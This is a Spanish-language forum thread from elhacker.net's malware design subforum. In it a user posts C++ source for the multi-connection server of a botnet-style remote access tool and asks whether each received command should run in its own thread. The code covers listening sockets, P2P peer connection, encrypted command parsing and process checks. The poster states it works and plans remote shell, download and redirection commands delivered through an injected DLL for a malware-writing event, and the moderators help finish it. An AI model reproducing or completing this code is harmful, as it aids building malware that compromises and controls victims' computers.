elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
23 Mayo 2012, 07:53  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?  (Leído 1,876 veces)
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« en: 5 Febrero 2010, 20:15 »

  Bueno tal vez esto va mas en programacion en c++ pero como es para malware lo pregunto aqui.... ya que hace rato cree un posts en ese subforo y nada  :-( estoy atollado en en una parte de diseño de un server .....

   Este lo diseñe para que abriera un  puerto y aceptara hasta 100 conexiones como veran cree un thread para escuchar solicitud de conexiones y en caso de recibir una creo un thread para escuchar por el puerto y socket  especificado es decir cada cliente tiene su thread , el problema esta cuando le quiero enviar ordenes al servidor todo funciona bien pero aqui tengo una duda.. ¿Creo otro trhead para ejecutar la orden ? esto permitiria recibir varias ordenes simultaneas y ejecutarla de un mismo cliente, o creo una funcion que haga este trabajo esto limitaria un poco la custion por que hasta que no ejecute la funcion el thread relacionado no podria leer info nueva del socket .... , otra cuestion seria que hay tareas que necesitan detener la escucha hasta que no se ejecute pero no se si habra problemas con utilizar una misma funcion tantas veces y simultaneamente ..... Que me recomiendan ?

  La duda es importante por que si tomo la decision equivocada en este punto es considerable lo que me falta, y despues tendria que reescribir mucho ...

  PD. No es un RAT de conexion directa  :silbar:
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.189


Se siente observado ¬¬'


Ver Perfil
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #1 en: 5 Febrero 2010, 20:31 »

No es mas sencillo crear un solo Thread que se encargue de escuchar y cada vez que se solicita X accion realizarla en un nuevo Thread, y seguir escuchando con el Thread inicial??
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #2 en: 5 Febrero 2010, 20:37 »

 ;D Aqui esta el source :

 
Código:
#include <winsock2.h>
# include <windows.h>
#include "ServidorTCP.h"
#include "Loaddlls.h"
#include "Encriptador.h"
#include "P2PEngine.h"
#include "Apis.h"
//#include "Estructuras.h"
//using namespace winsock2;
bool ClientActivo=false;
int IndiceClient=-1;
Configuracion* CFS;
P2PEngine* P2P;
Cliente* C[MaxConection];
Cliente* Servers;
int CCon=0;
int iPort ;
  bool   bInterface;        
  bool bRecvOnly;  
  char   szAddress[128];  
  Cliente::Cliente()
  {
   Active=false;
   Sock =NULL;
   Bots=0;
   BotsNodo=0;
   ID=-1;
   strcpy(IP,"NULL");
   strcpy(UserName,"NULL");
  }
 Cliente::Cliente(int Ind)
  {
   Active=false;
   Sock =NULL;
   Bots=0;
   BotsNodo=0;
   ID=Ind;
   strcpy(IP,"NULL");
   strcpy(UserName,"NULL");
  }
 Cliente& Cliente::operator =(const Cliente& CL)
 {
  Active=CL.Active;
  Sock=CL.Sock;
  Bots=CL.Bots;
  BotsNodo=CL.BotsNodo ;
  strcpy(IP,CL.IP);
  strcpy(UserName,CL.UserName);
  return this;
}
 bool  BuscaProcesoX(char* nomb)
{
 bool hay=false;
 HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
 while(Process32Next(handle,&procinfo))
{
 if(lstrcmp(procinfo.szExeFile,LPCWSTR(nomb))==0)
{
hay=true;
}
}
 CloseHandle(handle);
 return hay;
}
 Comandos::Comandos(char *Buf)
 {
  Parsear(Buf);
 }
 Comandos::~Comandos()
 {
 int Y=00;
 
 }
 void Comandos::Parsear(char* p)
 {
  char cad[2048]="";
  char comandos1[512]="";
  strcpy(cad,p);
  int i,ban,j,tam,k;
  tam=int(strlen(p));
  ban=0;
  k=0;
  i=0;
  j=0;
  do
   {
if(cad[i]!=' ')
 {
  comandos1 [j]=cad[i];
  j++;
  ban=0;
 }
else
{
 if(ban==0&&k<=99)
{
         comandos1[j]='\0';
if(strlen(comandos1)<=255)
  strcpy(ListStr[k],comandos1);
k++;
strcpy(comandos1,"                        ");
j=0;
}
 ban++;
}
i++;
   }
 while(i<=tam-1);
 }
int BuscarIndice()
{
 for(int i=0;i<=MaxConection-1;i++)
   {
    if(!C[i]->Active)
return i;
   }
 return -1;
}
void LimpiarSock(int indice)
{
 C[indice]->Active=false;
 C[indice]->Sock =NULL;
 C[indice]->Bots=0;
 C[indice]->BotsNodo=0;
 strcpy(C[indice]->IP,"NULL");
 strcpy(C[indice]->UserName,"NULL");
}
bool ActionBot(SOCKET S, char* mBuf,int Indice)
  {
  Sleep(1000);
  MessageBoxA(0,"Hola","Gtr",MB_OK);
  Comandos* Orden =new Comandos(mBuf);
  return false;
  }

DWORD WINAPI ThreadSock(LPVOID lpParam)
{
 int Indice=(int)lpParam;
 SOCKET        sock=C[Indice]->Sock;
 char          szBuff[DEFAULT_BUFFER];
 char          szBuff2[DEFAULT_BUFFER];
 int           ret;
 Encriptador *ENG=new Encriptador();
while(1)
    {
        
        ret = Myrecv(sock, szBuff, DEFAULT_BUFFER, 0);
        if (ret == 0)        // Graceful close
{
  if(Indice==IndiceClient)
     ClientActivo=false;
  LimpiarSock(Indice);break;
}
        else if (ret == SOCKET_ERROR)
        {
if(Indice==IndiceClient)
     ClientActivo=false;
LimpiarSock(Indice);
            break;
        }
else
{
         szBuff[ret]='\0';
if(strcmp(C[Indice]->UserName,"NULL")==0)
  {
ENG->Decriptar(C[Indice]->UserName,szBuff);

  }
else
if(strcmp(C[Indice]->IP,"NULL")==0)
   {  
ENG->Decriptar(C[Indice]->IP,szBuff);
   
}
   else
     {
  ENG->Decriptar(szBuff2,szBuff);
  ActionBot(sock,szBuff2,Indice);
      strcpy(szBuff2,"");
 }
strcpy(szBuff,"");
}

      
    }
    return 0;

}

DWORD WINAPI ClientSock(LPVOID lp)
{
  DWORD         dwThreadId;
  char Ruta[MAX_PATH];
  int indiceo;
  bool ban1=0;
  HANDLE        hThread;  
  char IPO[20];
  if(BuscaProcesoX(CFS->SerName))
strcpy(Ruta,getenv("SystemRoot"));
  else
     strcpy(Ruta,getenv("USERPROFILE"));
  strcat(Ruta,"\\");
  P2P = new P2PEngine(Ruta,CFS->SerListName,CFS->PortTCP);
  WSADATA       wsd;
  SOCKET        sClient;
  char          szBuffer[DEFAULT_BUFFER];
  int           ret, i;
  struct sockaddr_in server;
  struct hostent    *host = NULL;
  Servers= new Cliente();
  if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0)
    {                
     return 1;    
    }    
  sClient = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
  if (sClient == INVALID_SOCKET)    
     {
      return 1;    
     }    
  do
    {
strcpy(IPO,P2P->BuscarIpDisponible() );
   if(strcmp(IPO,"NULL")!=0)
  {
   server.sin_family = AF_INET;    
        server.sin_port = Myhtons(CFS->PortTCP);    
        server.sin_addr.s_addr = Myinet_addr(IPO);    
        if (server.sin_addr.s_addr == INADDR_NONE)    
          {        
           host = Mygethostbyname(IPO);        
         if (host == NULL)
       {
            
ban1=true;        
             }        
       CopyMemory(&server.sin_addr, host->h_addr_list[0],host->h_length);    
       }
     if(ban1==0)
  if (Myconnect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)    
          {              
           ban1=true;    
           }    
  else
     {
  indiceo=BuscarIndice();
  if(indiceo>=0)
     {
      C[indiceo]->Sock=sClient;
      IndiceClient=indiceo;
      hThread = CreateThread(NULL, 0,ThreadSock,                    
                        (LPVOID)(indiceo), 0, &dwThreadId);
          if (hThread == NULL)        
                  {                          
                   ban1=true;
      IndiceClient=-1;
  break;        
                  
            }  
      else
         {
          ClientActivo=true;
      do
        {
                      Sleep(15000);
    }
                   while(ClientActivo);
              MyClosesocket(sClient);
              }
     }
    }
 }
}
  while(1);
MyWSACleanup();
return 0;  
}
DWORD WINAPI Listen(LPVOID LParam)
 {
  int indiceo=-1;
  WSADATA       wsd;    
  SOCKET        sListen,                  
                sClient;    
  int           iAddrSize;    
  HANDLE        hThread;  
  DWORD         dwThreadId;    
  struct sockaddr_in local,                        
                     client;        
  
  if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0)    
     {              
      return 1;    
     }      
  sListen = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_IP);    
  if (sListen == SOCKET_ERROR)    
     {            
     return 1;    
     }      
  if (!bInterface)            
     local.sin_addr.s_addr = Myhtonl(INADDR_ANY);    
  local.sin_family = AF_INET;    
  local.sin_port = Myhtons(iPort);      
  if (Mybind(sListen, (struct sockaddr *)&local,sizeof(local)) == SOCKET_ERROR)    
          {        
           return 1;    
          }    
    Mylisten(sListen, 8);          
   while (1)    
        {        
         iAddrSize = sizeof(client);        
         indiceo=BuscarIndice();
if(indiceo>=0)
  {
   sClient = Myaccept(sListen, (struct sockaddr *)&client,&iAddrSize);        
            if (sClient == INVALID_SOCKET)        
               {                        
                break;        
                }                  
   C[indiceo]->Sock=sClient;
            C[indiceo]->Active=true;
hThread = CreateThread(NULL, 0,ThreadSock,                    
                   (LPVOID)(indiceo), 0, &dwThreadId);        
       if (hThread == NULL)        
                {                          
                 C[indiceo]->Active=false;
break;        
                }        
           CloseHandle(hThread);  
}
   }    
MyClosesocket(sListen);      
MyWSACleanup();    
return 0;
}
bool ChequearConeccion(char* Host)
{
 in_addr *o;
 char *p;
 hostent* hp;
 int ban,exitcode;
 WSADATA wsadata;
if (MyWSAStartup(MAKEWORD(1, 0), &wsadata) != 0)
ban= 0;
else
 {
  try
  {
hp = Mygethostbyname(Host );

  }
  catch(...)
{
 hp = NULL;
}
if (hp == NULL)
ban=0;
else
ban =1;
  }
 MyWSACleanup( );
 return ban;
 }
ServidorTCP::ServidorTCP(Configuracion* CF)
{
 int g=0;
 CFS=CF;
 iPort      = CFS->PortTCP;
 bInterface = FALSE;        
 bRecvOnly  = FALSE;  
 DWORD   dwThreadId;
 IniciarClientList();
 MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (Listen), NULL, 0, &dwThreadId);
 if(ChequearConeccion("www.google.es"))
   MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (ClientSock), NULL, 0, &dwThreadId);
}
 

void ServidorTCP::IniciarClientList()
{
 for(int i=0;i<=MaxConection-1;i++)
 {
C[i]= new Cliente(i);
 }
}


  Bueno la duda esta en DWORD WINAPI ThreadSock(LPVOID lpParam)
ActionBot no se si dejarla como esta o convertirla en un thread ....

  PD: El ingles en mi source es por que programo en spanglish  :P

  Edito:

  Todo ese code es funcional y no es copy & past yo he probado hasta con 5 clientes conectados y al parecer funciona como esta pero no se que pasara con 100 pcs si es mejor un thread o procesar orden a orden .....
« Última modificación: 5 Febrero 2010, 21:26 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.057


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #3 en: 5 Febrero 2010, 21:40 »

Yo creo que dependerá un poco del tipo de función que quieras ejecutar, si es una función rápida tipo leer X registro, no es nada útil crear un thead, en cambio si es una función que tiene que estar algún tiempo en ejecución si es necesario que crees un thread, al menos uno para no perder la conexión y poder abortar la orden, y más si quieres que pueda recibir más órdenes.

Si no sabes aún que tipo de funciones tendrá que ejecutar, yo varios threads.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #4 en: 5 Febrero 2010, 22:53 »

  Pues por los momentos son actualizacion de dominios, activacion de algunas herramientas, actualizacion, shell remote, dowload , y redireccion yo queria hacer todo encapsulado pero con los threads es un lio, esto va en una dll inyectada por lo tanto son dos ficheros... me inmagino que tantos threads afectaran en algo el rendimiento del PC  :)

  Saludos ..

  La version que termine en Builder c++ esta completa pero el exe es gigantesco 1.3 MB  :-[ es tan grande que seria mejor propagarla en un CD de Instalacion  :¬¬ pero sorprendentemente es funcional  :o . esta la quiero terminar para Abril Negro  ::)
« Última modificación: 5 Febrero 2010, 22:57 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.057


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #5 en: 6 Febrero 2010, 12:14 »

Bueno, yo una vez tambien tuve problemas con los callbacks y el puntero this, pero con un poquito de asm inline lo puedes arreglar, aunque hay otras formas de hacerlo:

Código:
http://www.codeproject.com/KB/cpp/Ellipses.aspx

Lo que deberías hacer es crear un hilo para cada funcion, pero dejando la posibilidad de que desde el cliente se pueda enviar una orden que termine la ejecución de todos los hilos  :P.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes?
« Respuesta #6 en: 6 Febrero 2010, 16:07 »

  Pues si optare por los threads gracias Hacker_Zero  ;)
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema enviando Strings por sockets en una multiconexion por Thread
Java
undercode2 1 514 Último mensaje 5 Mayo 2011, 03:21
por Leyer
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines